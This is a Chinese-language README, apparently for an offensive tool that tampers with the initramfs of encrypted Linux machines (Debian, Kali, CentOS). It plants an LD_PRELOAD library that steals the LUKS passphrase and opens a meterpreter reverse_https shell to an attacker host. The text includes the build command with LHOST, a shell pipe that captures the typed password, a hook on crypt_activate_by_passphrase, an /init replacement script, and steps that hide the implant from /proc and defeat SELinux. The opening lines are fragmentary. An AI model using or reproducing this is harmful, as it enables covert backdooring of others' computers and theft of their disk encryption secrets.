
.so 文件注入 /sbin/init 启动过程中,弹出 shellLD_PRELOAD 将 .so 注入 DefaultEnviroment,全局加载,弹出 shellpython/meterpreter/reverse_https 连接至编译时指定的 LHOSTgetenv PASSWORD)参见 Makefile 了解更详细的信息/配置,在编译时需在环境中设置 LHOST,因为 msfvenom 会在编译时通过管道注入。此外,在构建机器上还需要安装 libcrypsetup-dev(或等效包)。
通用指令(在当前工作目录生成 ISO 镜像):
LHOST=192.168.56.101 make rev.so iso
以下选项已附加到内核启动参数中:
mc superuser nodhcp quiet loglevel=0
此外,prompt 值已设置为 0,以实现完全自动化执行。
近似恶意启动 -> 后门化时间:约 2 分钟 近似正常启动 -> 获得 shell:约 90 秒(可配置,我们希望网络在我们之前已就绪)
core.d 是从 TinyCore 解压的 core.gz,并合并了以下软件包。
Core-current 是已解压的 Core-current.iso。
已在 TinyCore 内安装以下软件包(Python、文件系统支持):
签名的最小格式如下:
"exampleOS" : {
"IDENTIFIER" : "grep EXAMPLEOS etc/initrd-release",
"ROOT" : "${rootmnt}",
"FILENAME" : "/ldlinux.so.1",
"INITRDFILENAME" : "hda1"
}
exampleOS 是该操作系统的唯一名称。IDENTIFIER 是一个 shell 命令,当针对正确的 initrd 运行时返回退出码 0,其他情况返回 !0。ROOT 是解密后新根文件系统挂载的完整路径或变量。FILENAME 是用于将我们的二进制文件放置到根文件系统上的完整路径。注意了解 initrd 挂载了什么,以及稍后挂载了什么。INITRDFILENAME 是 initrd 内部二进制文件的完整路径。该文件在 Makefile 中被复制(cp ... core.d/...),因此应与它匹配。之后,每一组 *FILE、*PRE、*POST 将以 re.sub(如 re.sub(*PRE, *POST, *FILE))的方式针对 initrd 执行。*PRE 和 *POST 的内容会使用 .format(**config[detectedOS]) 展开,因此可以自由扩展签名以注入内容。
可执行的替换操作数量没有限制。
*POST)中使用 \\1 将展开为匹配(*PRE)的全部内容。| $选择 python/meterpreter/reverse_https 元劫持载荷,因为它比 linux/*/meterpreter/reverse_tcp 载荷更具平台独立性。所有测试系统似乎都默认安装了 python。
默认情况下,载荷在编译时生成并通过管道作为 #define 插入到 .c 文件中。这便于迭代,但保存载荷并手动插入也不难。
基于 Debian 的系统(Debian、Ubuntu 等)使用标准的 gzip 压缩 cpio 镜像作为 initramfs。其中包含默认的 /init 脚本,该脚本负责执行准备系统完全启动的流程,包括询问用户密码并挂载加密的根文件系统。
为了注入我们的 .so,我们等待根文件系统挂载完成(即在用户输入密码之后),然后将 .so 复制到 /dev 文件系统。选择 /dev 文件系统是因为它在根文件系统切换前即可访问,并且是基于内存的挂载点,这样我们的 .so 不会触及磁盘。
为了实际使用注入的 .so,我们在 switch_root 调用中设置 LD_PRELOAD 环境变量。该变量会传递给所有子进程,因此最终的 /sbin/init 脚本将会加载该模块。为了保持相对隐蔽,我们会检查自身是否加载到 /sbin/init 中,如果是,则取消设置 LD_PRELOAD 变量并删除 .so。如果需要挂钩特定应用程序,可以轻松禁用此功能。
为了强制 .so 执行,默认情况下我们在加载后使用 gcc 标志 -Wl,-init,shell,其中 shell 是我们的主函数。这类似于 Windows 的 DllMain。
init 脚本中负责询问用户密码并挂载根文件系统的部分如下:
scripts/local-top/cryptroot:
if [ ! -e "$NEWROOT" ]; then
if ! crypttarget="$crypttarget" cryptsource="$cryptsource" \
$cryptkeyscript "$cryptkey" | $cryptcreate --key-file=- ; then
message "cryptsetup: cryptsetup failed, bad password or options?"
continue
fi
fi
对我们来说,关键部分是 $cryptkeyscript 的输出通过管道传递给 $cryptcreate。$cryptkeyscript 是密码询问器,$cryptcreate 是磁盘挂载程序。这个管道很容易被我们攻击。我们在管道位置插入以下代码,将密码写入到我们的 .so 末尾:
(read P; echo -ne \\\\\\\\x00$P >> /OUR.SO; echo -n $P)
这会将密码读取到变量 $P 中,然后将其写入到 .so 末尾,并再次回显出来。该代码对于 $cryptkeyscript 和 $cryptcreate 是透明的,但会产生窃取密码的副作用。我们使用 \\\\\\\\x00 在密码前添加一个空字节(考虑到多级 shell 转义)。这使得我们的 .so 更容易读取密码,只需从自身末尾向前读取直到遇到空字节。
为了向攻击者提供此密码,密码被用作载荷调用时的环境变量。因此,攻击者只需使用 meterpreter 命令 getenv PASSWORD 即可获取密码。
由于 .so 的加载方式,在 /proc/1/maps 和 /proc/1/environ 中会留下对其的引用。
maps 文件是已加载模块的列表。以下摘录显示了该文件的内容。注意其中的 (deleted),可能会引起怀疑。但与普通二进制文件不同,一旦 .so 被删除,除非直接从内存中提取,否则无法访问它。
7f9ee8a56000-7f9ee8a58000 r-xp 00000000 00:06 9264 /dev/hda1 (deleted)
7f9ee8a58000-7f9ee8c57000 ---p 00002000 00:06 9264 /dev/hda1 (deleted)
7f9ee8c57000-7f9ee8c58000 rw-p 00001000 00:06 9264 /dev/hda1 (deleted)
environ 文件是进程启动时以 NULL 分隔的环境变量列表。因为是启动时的快照,所以我们在运行时所做的任何修改(例如取消设置 LD_PRELOAD)都不会反映在其中。
在这两种情况下,由于我们能够挂钩任何及所有系统进程,因此只需挂钩 read(2) 函数并移除所有对自身的引用即可。
Kali 是一种特殊情况。它包含下面提到的链式 cpio,但不使用 systemd 启动。因此,DRACUT 操作系统规则已被泛化,使其盲目提取,然后由第二个操作系统检测捕获 Kali。
如果你添加一个仅包含 kernel/x86/microcode/GenuineIntel.bin 的 cpio 的操作系统,则 IDENTIFIER 规则应针对附加的 cpio,因为我们会自动查找并提取它。
这些系统的 initrd 镜像格式与基于 Debian 的系统不同。存放在 /boot 中的 initrd 文件几乎是一个空的 cpio 归档,后面附加了一个 gzip 压缩的 cpio 归档。第二个归档才是包含 initramfs 的真正内容。要解压第二个归档,需要解析第一个 cpio 归档以找到其尾部。或者,可以查找字符串 TRAILER!!!,然后继续读取直到发现 gzip 魔数(\x1f\x8b)。
这些系统的另一个区别是它们基于 systemd,因此 initramfs 中的 /init 可执行文件是指向 systemd 二进制文件的符号链接,而不是一个纯粹的 sh 脚本。为了绕过这一限制,需要修改与挂载根文件系统相关的 .service 文件。
usr/lib/systemd/system/initrd-switch-root.service 包含用于切换到新解密根文件系统的脚本。通过 ExecStartPre 指令,可以在切换之前执行其他程序。
CentOS 上启用了 SELinux,限制了 LD_PRELOAD 的使用。一个可行的路径是 /lib。这是通过读取 /etc/selinux/targeted/modules/active/file_contexts 中标记为 system_u:object_r:lib_t 的位置而找到的。
由于 systemd 在切换根文件系统之前会调用 clearenv(),我们的 LD_PRELOAD 变量会被清除。为了绕过这一点,我们可以挂钩 clearenv(),并始终只将环境替换为包含 LD_PRELOAD。然而,为了实现这一点,我们需要成为 initrd 中的 PID 1。这更棘手,因为无法向此进程注入 LD_PRELOAD。为了解决这个问题,我们将 /init 替换为一个 bash shell 脚本,如下所示:
#!/bin/bash
export LD_PRELOAD=/hda1
exec /usr/lib/systemd/systemd
这样做的原因是 /init 只是一个指向 /usr/lib/systemd/systemd 的符号链接。使用 exec 可以使进程保留父 PID(1)。
一旦实现这一点并消除 clearenv() 的影响,就可以在新的根文件系统中为真正的 PID 1 设置 LD_PRELOAD。
systemd 处理加密文件系统密码的方式与基于 Debian 的 init 脚本完全不同。密码通过允许发送凭据的 Unix 套接字传递。为了绕过这种复杂性,我们发现最简单的方法是挂钩 libcryptsetup 中的 crypt_activate_by_passphrase 函数。该函数声明的相关部分如下:
int crypt_activate_by_passphrase(..., const char *passphrase, size_t passphrase_size, ...);
为了获取密码,我们只需挂钩此函数,将 passphrase 保存到文件中,然后调用通过 dlsym(RTLD_NEXT, ...) 获得的原始函数。与上面一样,我们将密码附加到 .so 末尾,以便 .so 能够解析自身并使密码可用于 meterpreter。
与上面类似,.so 会出现在 /proc/1/maps、/proc/1/environ 以及 ps 的输出中。